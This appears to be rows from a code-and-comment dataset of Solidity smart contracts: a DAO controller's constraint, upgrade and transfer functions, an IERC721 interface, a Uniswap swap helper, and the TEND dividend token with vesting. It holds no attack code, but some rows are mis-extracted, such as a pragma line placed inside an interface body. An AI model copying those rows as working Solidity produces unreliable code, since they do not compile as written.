return organization.globalConstraintsPre[register.index].params;
}
register = organization.globalConstraintsRegisterPost[_globalConstraint];
if (register.isRegistered) {
return organization.globalConstraintsPost[register.index].params;
}
}
/**
* @dev globalConstraintsCount return the global constraint pre and post count
* @return uint globalConstraintsPre count.
* @return uint globalConstraintsPost count.
*/
function globalConstraintsCount(address _avatar) external view returns(uint,uint) {
return (organizations[_avatar].globalConstraintsPre.length,organizations[_avatar].globalConstraintsPost.length);
}
function isGlobalConstraintRegistered(address _globalConstraint,address _avatar) external view returns(bool) {
return (organizations[_avatar].globalConstraintsRegisterPre[_globalConstraint].isRegistered ||
organizations[_avatar].globalConstraintsRegisterPost[_globalConstraint].isRegistered) ;
}
/**
* @dev add or update Global Constraint
* @param _globalConstraint the address of the global constraint to be added.
* @param _params the constraint parameters hash.
* @param _avatar the avatar of the organization
* @return bool which represents a success
*/
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external onlyGlobalConstraintsScheme(_avatar) returns(bool)
{
Organization storage organization = organizations[_avatar];
GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when();
if ((when == GlobalConstraintInterface.CallPhase.Pre)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
if (!organization.globalConstraintsRegisterPre[_globalConstraint].isRegistered) {
organization.globalConstraintsPre.push(GlobalConstraint(_globalConstraint,_params));
organization.globalConstraintsRegisterPre[_globalConstraint] = GlobalConstraintRegister(true,organization.globalConstraintsPre.length-1);
}else {
organization.globalConstraintsPre[organization.globalConstraintsRegisterPre[_globalConstraint].index].params = _params;
}
}
if ((when == GlobalConstraintInterface.CallPhase.Post)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
if (!organization.globalConstraintsRegisterPost[_globalConstraint].isRegistered) {
organization.globalConstraintsPost.push(GlobalConstraint(_globalConstraint,_params));
organization.globalConstraintsRegisterPost[_globalConstraint] = GlobalConstraintRegister(true,organization.globalConstraintsPost.length-1);
}else {
organization.globalConstraintsPost[organization.globalConstraintsRegisterPost[_globalConstraint].index].params = _params;
}
}
emit AddGlobalConstraint(_globalConstraint, _params,when,_avatar);
return true;
}
/**
* @dev remove Global Constraint
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraint (address _globalConstraint,address _avatar)
external onlyGlobalConstraintsScheme(_avatar) returns(bool)
{
GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when();
if ((when == GlobalConstraintInterface.CallPhase.Pre)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
removeGlobalConstraintPre(_globalConstraint,_avatar);
}
if ((when == GlobalConstraintInterface.CallPhase.Post)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
removeGlobalConstraintPost(_globalConstraint,_avatar);
}
return false;
}
/**
* @dev upgrade the Controller
* The function will trigger an event 'UpgradeController'.
* @param _newController the address of the new controller.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function upgradeController(address _newController,address _avatar)
external onlyUpgradingScheme(_avatar) returns(bool)
{
require(newControllers[_avatar] == address(0)); // so the upgrade could be done once for a contract.
require(_newController != address(0));
newControllers[_avatar] = _newController;
(Avatar(_avatar)).transferOwnership(_newController);
require(Avatar(_avatar).owner() == _newController);
if (organizations[_avatar].nativeToken.owner() == address(this)) {
organizations[_avatar].nativeToken.transferOwnership(_newController);
require(organizations[_avatar].nativeToken.owner() == _newController);
}
if (organizations[_avatar].nativeReputation.owner() == address(this)) {
organizations[_avatar].nativeReputation.transferOwnership(_newController);
require(organizations[_avatar].nativeReputation.owner() == _newController);
}
emit UpgradeController(this,_newController,_avatar);
return true;
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @return bytes32 - the return value of the called _contract's function.
*/
function genericCall(address _contract,bytes _data,address _avatar)
external
onlyGenericCallScheme(_avatar)
onlySubjectToConstraint("genericCall",_avatar)
returns (bytes32)
{
emit GenericCall(_contract, _data,_avatar);
(Avatar(_avatar)).genericCall(_contract, _data);
// solium-disable-next-line security/no-inline-assembly
assembly {
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
return(0, returndatasize)
}
}
/**
* @dev send some ether
* @param _amountInWei the amount of ether (in Wei) to send
* @param _to address of the beneficiary
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function sendEther(uint _amountInWei, address _to,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("sendEther",_avatar)
returns(bool)
{
emit SendEther(msg.sender, _amountInWei, _to);
return (Avatar(_avatar)).sendEther(_amountInWei, _to);
}
/**
* @dev send some amount of arbitrary ERC20 Tokens
* @param _externalToken the address of the Token Contract
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("externalTokenTransfer",_avatar)
returns(bool)
{
emit ExternalTokenTransfer(msg.sender, _externalToken, _to, _value);
return (Avatar(_avatar)).externalTokenTransfer(_externalToken, _to, _value);
}
/**
* @dev transfer token "from" address "to" address
* One must to approve the amount of tokens which can be spend from the
* "from" account.This can be done using externalTokenApprove.
* @param _externalToken the address of the Token Contract
* @param _from address of the account to send from
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function externalTokenTransferFrom(StandardToken _externalToken, address _from, address _to, uint _value,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("externalTokenTransferFrom",_avatar)
returns(bool)
{
emit ExternalTokenTransferFrom(msg.sender, _externalToken, _from, _to, _value);
return (Avatar(_avatar)).externalTokenTransferFrom(_externalToken, _from, _to, _value);
}
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("externalTokenIncreaseApproval",_avatar)
returns(bool)
{
emit ExternalTokenIncreaseApproval(msg.sender,_externalToken,_spender,_addedValue);
return (Avatar(_avatar)).externalTokenIncreaseApproval(_externalToken, _spender, _addedValue);
}
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("externalTokenDecreaseApproval",_avatar)
returns(bool)
{
emit ExternalTokenDecreaseApproval(msg.sender,_externalToken,_spender,_subtractedValue);
return (Avatar(_avatar)).externalTokenDecreaseApproval(_externalToken, _spender, _subtractedValue);
}
/**
* @dev getNativeReputation
* @param _avatar the organization avatar.
* @return organization native reputation
*/
function getNativeReputation(address _avatar) external view returns(address) {
return address(organizations[_avatar].nativeReputation);
}
/**
* @dev removeGlobalConstraintPre
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraintPre(address _globalConstraint,address _avatar)
private returns(bool)
{
GlobalConstraintRegister memory globalConstraintRegister = organizations[_avatar].globalConstraintsRegisterPre[_globalConstraint];
GlobalConstraint[] storage globalConstraints = organizations[_avatar].globalConstraintsPre;
if (globalConstraintRegister.isRegistered) {
if (globalConstraintRegister.index < globalConstraints.length-1) {
GlobalConstraint memory globalConstraint = globalConstraints[globalConstraints.length-1];
globalConstraints[globalConstraintRegister.index] = globalConstraint;
organizations[_avatar].globalConstraintsRegisterPre[globalConstraint.gcAddress].index = globalConstraintRegister.index;
}
globalConstraints.length--;
delete organizations[_avatar].globalConstraintsRegisterPre[_globalConstraint];
emit RemoveGlobalConstraint(_globalConstraint,globalConstraintRegister.index,true,_avatar);
return true;
}
return false;
}
/**
* @dev removeGlobalConstraintPost
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraintPost(address _globalConstraint,address _avatar)
private returns(bool)
{
GlobalConstraintRegister memory globalConstraintRegister = organizations[_avatar].globalConstraintsRegisterPost[_globalConstraint];
GlobalConstraint[] storage globalConstraints = organizations[_avatar].globalConstraintsPost;
if (globalConstraintRegister.isRegistered) {
if (globalConstraintRegister.index < globalConstraints.length-1) {
GlobalConstraint memory globalConstraint = globalConstraints[globalConstraints.length-1];
globalConstraints[globalConstraintRegister.index] = globalConstraint;
organizations[_avatar].globalConstraintsRegisterPost[globalConstraint.gcAddress].index = globalConstraintRegister.index;
}
globalConstraints.length--;
delete organizations[_avatar].globalConstraintsRegisterPost[_globalConstraint];
emit RemoveGlobalConstraint(_globalConstraint,globalConstraintRegister.index,false,_avatar);
return true;
}
return false;
}
function _isSchemeRegistered( address _scheme,address _avatar) private view returns(bool) {
return (organizations[_avatar].schemes[_scheme].permissions&bytes4(1) != bytes4(0));
}
}
|
* @dev transfer token "from" address "to" address One must to approve the amount of tokens which can be spend from the "from" account.This can be done using externalTokenApprove. @param _externalToken the address of the Token Contract @param _from address of the account to send from @param _to address of the beneficiary @param _value the amount of ether (in Wei) to send @param _avatar the organization avatar. @return bool which represents a success/
|
function externalTokenTransferFrom(StandardToken _externalToken, address _from, address _to, uint _value,address _avatar)
external
onlyRegisteredScheme(_avatar)
onlySubjectToConstraint("externalTokenTransferFrom",_avatar)
returns(bool)
{
emit ExternalTokenTransferFrom(msg.sender, _externalToken, _from, _to, _value);
return (Avatar(_avatar)).externalTokenTransferFrom(_externalToken, _from, _to, _value);
}
| 12,119,815
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./full_match/1/0xCA5b0AE1d104030a9B8F879523508EFd86c14483/sources/@animoca/ethereum-contracts/contracts/token/ERC721/interfaces/IERC721.sol
|
@title ERC721 Non-Fungible Token Standard, basic interface (functions). @dev See https://eips.ethereum.org/EIPS/eip-721 @dev This interface only contains the standard functions. See IERC721Events for the events. @dev Note: The ERC-165 identifier for this interface is 0x80ac58cd.
|
interface IERC721 {
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool approved) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address tokenOwner);
function getApproved(uint256 tokenId) external view returns (address approved);
function isApprovedForAll(address owner, address operator) external view returns (bool approvedForAll);
pragma solidity ^0.8.8;
}
| 17,197,401
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./partial_match/3/0xe1087ba15F6Aa446304C2F9671a50e0aD5C06060/sources/testcontract.sol
|
Uniswap srcToken => dstTokenIUniswapV2Router01 uniswapRouter = IUniswapV2Router01(uniswapAddress); Approve Uniswap to spend tokenssrcToken.transferFrom(msg.sender, address(this), amount); Setup transfer uniswap.swapExactTokensForTokens(amount, minOuts[0], path, address(this), now + 300); As you can see I changed the address to msg.sender and added time
|
function runTokenUniswapTransfer(uint amount, address srcTokenAddress, address dstTokenAddress) public {
IERC20 srcToken = IERC20(srcTokenAddress);
IERC20 dstToken = IERC20(dstTokenAddress);
srcToken.approve(address(uniswapRouter), amount);
address[] memory path = new address[](2);
path[0] = address(srcToken);
path[1] = address(dstToken);
uint[] memory minOuts = uniswapRouter.getAmountsOut(amount, path);
uniswapRouter.swapExactTokensForTokens(amount, minOuts[1], path, msg.sender, now + 300);
}
| 5,065,445
|
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/**
* @title TEND token
* @version 2.0
* @author Validity Labs AG <info@validitylabs.org>
*
* The TTA tokens are issued as participation certificates and represent
* uncertificated securities within the meaning of article 973c Swiss CO. The
* issuance of the TTA tokens has been governed by a prospectus issued by
* Tend Technologies AG.
*
* TTA tokens are only recognized and transferable in undivided units.
*
* The holder of a TTA token must prove his possessorship to be recognized by
* the issuer as being entitled to the rights arising out of the respective
* participation certificate; he/she waives any rights if he/she is not in a
* position to prove him/her being the holder of the respective token.
*
* Similarly, only the person who proves him/her being the holder of the TTA
* Token is entitled to transfer title and ownership on the token to another
* person. Both the transferor and the transferee agree and accept hereby
* explicitly that the tokens are transferred digitally, i.e. in a form-free
* manner. However, if any regulators, courts or similar would require written
* confirmation of a transfer of the transferable uncertificated securities
* from one investor to another investor, such investors will provide written
* evidence of such transfer.
*/
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract DividendToken is StandardToken, Ownable {
using SafeMath for uint256;
// time before dividendEndTime during which dividend cannot be claimed by token holders
// instead the unclaimed dividend can be claimed by treasury in that time span
uint256 public claimTimeout = 20 days;
uint256 public dividendCycleTime = 350 days;
uint256 public currentDividend;
mapping(address => uint256) unclaimedDividend;
// tracks when the dividend balance has been updated last time
mapping(address => uint256) public lastUpdate;
uint256 public lastDividendIncreaseDate;
// allow payment of dividend only by special treasury account (treasury can be set and altered by owner,
// multiple treasurer accounts are possible
mapping(address => bool) public isTreasurer;
uint256 public dividendEndTime = 0;
event Payin(address _owner, uint256 _value, uint256 _endTime);
event Payout(address _tokenHolder, uint256 _value);
event Reclaimed(uint256 remainingBalance, uint256 _endTime, uint256 _now);
event ChangedTreasurer(address treasurer, bool active);
/**
* @dev Deploy the DividendToken contract and set the owner of the contract
*/
constructor() public {
isTreasurer[owner] = true;
}
/**
* @dev Request payout dividend (claim) (requested by tokenHolder -> pull)
* dividends that have not been claimed within 330 days expire and cannot be claimed anymore by the token holder.
*/
function claimDividend() public returns (bool) {
// unclaimed dividend fractions should expire after 330 days and the owner can reclaim that fraction
require(dividendEndTime > 0);
require(dividendEndTime.sub(claimTimeout) > block.timestamp);
updateDividend(msg.sender);
uint256 payment = unclaimedDividend[msg.sender];
unclaimedDividend[msg.sender] = 0;
msg.sender.transfer(payment);
// Trigger payout event
emit Payout(msg.sender, payment);
return true;
}
/**
* @dev Transfer dividend (fraction) to new token holder
* @param _from address The address of the old token holder
* @param _to address The address of the new token holder
* @param _value uint256 Number of tokens to transfer
*/
function transferDividend(address _from, address _to, uint256 _value) internal {
updateDividend(_from);
updateDividend(_to);
uint256 transAmount = unclaimedDividend[_from].mul(_value).div(balanceOf(_from));
unclaimedDividend[_from] = unclaimedDividend[_from].sub(transAmount);
unclaimedDividend[_to] = unclaimedDividend[_to].add(transAmount);
}
/**
* @dev Update the dividend of hodler
* @param _hodler address The Address of the hodler
*/
function updateDividend(address _hodler) internal {
// last update in previous period -> reset claimable dividend
if (lastUpdate[_hodler] < lastDividendIncreaseDate) {
unclaimedDividend[_hodler] = calcDividend(_hodler, totalSupply_);
lastUpdate[_hodler] = block.timestamp;
}
}
/**
* @dev Get claimable dividend for the hodler
* @param _hodler address The Address of the hodler
*/
function getClaimableDividend(address _hodler) public constant returns (uint256 claimableDividend) {
if (lastUpdate[_hodler] < lastDividendIncreaseDate) {
return calcDividend(_hodler, totalSupply_);
} else {
return (unclaimedDividend[_hodler]);
}
}
/**
* @dev Overrides transfer method from BasicToken
* transfer token for a specified address
* @param _to address The address to transfer to.
* @param _value uint256 The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
transferDividend(msg.sender, _to, _value);
// Return from inherited transfer method
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// Prevent dividend to be claimed twice
transferDividend(_from, _to, _value);
// Return from inherited transferFrom method
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Set / alter treasurer "account". This can be done from owner only
* @param _treasurer address Address of the treasurer to create/alter
* @param _active bool Flag that shows if the treasurer account is active
*/
function setTreasurer(address _treasurer, bool _active) public onlyOwner {
isTreasurer[_treasurer] = _active;
emit ChangedTreasurer(_treasurer, _active);
}
/**
* @dev Request unclaimed ETH, payback to beneficiary (owner) wallet
* dividend payment is possible every 330 days at the earliest - can be later, this allows for some flexibility,
* e.g. board meeting had to happen a bit earlier this year than previous year.
*/
function requestUnclaimed() public onlyOwner {
// Send remaining ETH to beneficiary (back to owner) if dividend round is over
require(block.timestamp >= dividendEndTime.sub(claimTimeout));
msg.sender.transfer(address(this).balance);
emit Reclaimed(address(this).balance, dividendEndTime, block.timestamp);
}
/**
* @dev ETH Payin for Treasurer
* Only owner or treasurer can do a payin for all token holder.
* Owner / treasurer can also increase dividend by calling fallback function multiple times.
*/
function() public payable {
require(isTreasurer[msg.sender]);
require(dividendEndTime < block.timestamp);
// pay back unclaimed dividend that might not have been claimed by owner yet
if (address(this).balance > msg.value) {
uint256 payout = address(this).balance.sub(msg.value);
owner.transfer(payout);
emit Reclaimed(payout, dividendEndTime, block.timestamp);
}
currentDividend = address(this).balance;
// No active dividend cycle found, initialize new round
dividendEndTime = block.timestamp.add(dividendCycleTime);
// Trigger payin event
emit Payin(msg.sender, msg.value, dividendEndTime);
lastDividendIncreaseDate = block.timestamp;
}
/**
* @dev calculate the dividend
* @param _hodler address
* @param _totalSupply uint256
*/
function calcDividend(address _hodler, uint256 _totalSupply) public view returns(uint256) {
return (currentDividend.mul(balanceOf(_hodler))).div(_totalSupply);
}
}
contract TendToken is MintableToken, PausableToken, DividendToken {
using SafeMath for uint256;
string public constant name = "Tend Token";
string public constant symbol = "TTA";
uint8 public constant decimals = 18;
// Minimum transferable chunk
uint256 public granularity = 1e18;
/**
* @dev Constructor of TendToken that instantiate a new DividendToken
*/
constructor() public DividendToken() {
// token should not be transferrable until after all tokens have been issued
paused = true;
}
/**
* @dev Internal function that ensures `_amount` is multiple of the granularity
* @param _amount The quantity that wants to be checked
*/
function requireMultiple(uint256 _amount) internal view {
require(_amount.div(granularity).mul(granularity) == _amount);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
requireMultiple(_value);
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
requireMultiple(_value);
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public returns (bool) {
requireMultiple(_amount);
// Return from inherited mint method
return super.mint(_to, _amount);
}
/**
* @dev Function to batch mint tokens
* @param _to An array of addresses that will receive the minted tokens.
* @param _amount An array with the amounts of tokens each address will get minted.
* @return A boolean that indicates whether the operation was successful.
*/
function batchMint(
address[] _to,
uint256[] _amount
)
hasMintPermission
canMint
public
returns (bool)
{
require(_to.length == _amount.length);
for (uint i = 0; i < _to.length; i++) {
requireMultiple(_amount[i]);
require(mint(_to[i], _amount[i]));
}
return true;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
